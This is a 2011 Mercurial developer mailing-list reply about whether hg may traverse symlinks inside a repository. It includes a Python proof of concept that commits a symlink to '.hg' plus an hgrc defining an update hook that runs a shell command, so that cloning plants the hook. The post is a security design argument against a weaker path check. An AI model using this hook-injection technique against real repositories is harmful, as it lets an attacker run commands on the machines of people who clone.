Traversing symlinks

Peter Arrenbrecht peter.arrenbrecht at gmail.com
Fri May 20 11:31:52 CDT 2011


On Thu, May 19, 2011 at 7:42 PM, Matt Mackall <mpm at selenic.com> wrote:
> On Thu, 2011-05-19 at 14:17 +0200, Martin Geisler wrote:
>> Matt Mackall <mpm at selenic.com> writes:
>>
>> > On Mon, 2011-05-16 at 19:57 +0200, Martin Geisler wrote:
>> >> Hi guys,
>> >>
>> >> Way back in 2007, this changeset was added:
>> >>
>> >>   http://selenic.com/hg/rev/d316124ebbea
>> >>
>> >> It makes Mercurial abort when it encounters a symlink on the way to a
>> >> file -- even when the symlink points inside the repository:
>> >>
>> >>   $ ln -s contrib extra
>> >>   $ hg status extra/mq.el
>> >>   abort: path 'extra/mq.el' traverses symbolic link 'extra'
>> >>
>> >> This seems a tad too restrictive to me,
>> >
>> > Ok, do tell, what have you lost by not being able to ask for the
>> > status of a path you can't commit?
>>
>> Oh, you must have misunderstood me -- after the change you would be able
>> to do
>>
>>   $ hg commit extra/mq.el
>>
>> just fine.
>
> Congratulations, you've just introduced a security hole that allows
> remote attackers to 0wn you on clone.
>
> Just for kicks, I tried my hand at making an evil repo. Here's what
> happens when we weaken the check on line 119 of scmutil.py as you've
> proposed and clone my nasty little repo:
>
>  $ hg clone http://localhost:8000/ a2
>  requesting all changes
>  adding changesets
>  adding manifests
>  adding file changes
>  added 1 changesets with 2 changes to 2 files
>  updating to branch default
>  *** y00 haz bin 0wnz0red ***
>  2 files updated, 0 files merged, 0 files removed, 0 files unresolved
>
> For bonus points, you've also broken checkouts on Windows.

I guess the key is that hg can *create* symlinks during checkout. If
it now also follows them, we can attack like so:

from mercurial import ui, hg, context

def buildevil():
    repo = hg.repository(ui.ui(), "/tmp/foo/", create=True)

    fs = {
          "hg": context.memfilectx("hg", ".hg", islink=True),
          "hg/hgrc": context.memfilectx("hg/hgrc", "[hooks]\nupdate=sh
-c 'echo owned'"),
         }
    def filefn(repo, cx, path):
        return fs[path]

    repo.commitctx(context.memctx(repo, [None, None], "hg", ["hg",
"hg/hgrc"], filefn))
    repo.close()

def cloneevil():
    hg.clone(ui.ui(), "/tmp/foo", "/tmp/bar", update=True)

if __name__ == '__main__':
    buildevil()
    cloneevil()

This does not own you during the clone but on any subsequent operation
for which the attacker places a hook. I don't know how Matt got his
attack to inject the payload during the actual clone.

This is be related to issue1450. It does not work against current hg,
so I guess this is not a zero-day exploit.
-parren

> You may commence wearing a brown paper bag on your head... now.
>
> I'm not going to tell you which of several possible exploit I used just
> yet, as the point of this exercise is to demonstrate that just because
> you can't imagine an attack doesn't mean it doesn't exist.
>
> --
> Mathematics is the supreme nostalgia of our time.
>
>
> _______________________________________________
> Mercurial-devel mailing list
> Mercurial-devel at selenic.com
> http://selenic.com/mailman/listinfo/mercurial-devel
>


More information about the Mercurial-devel mailing list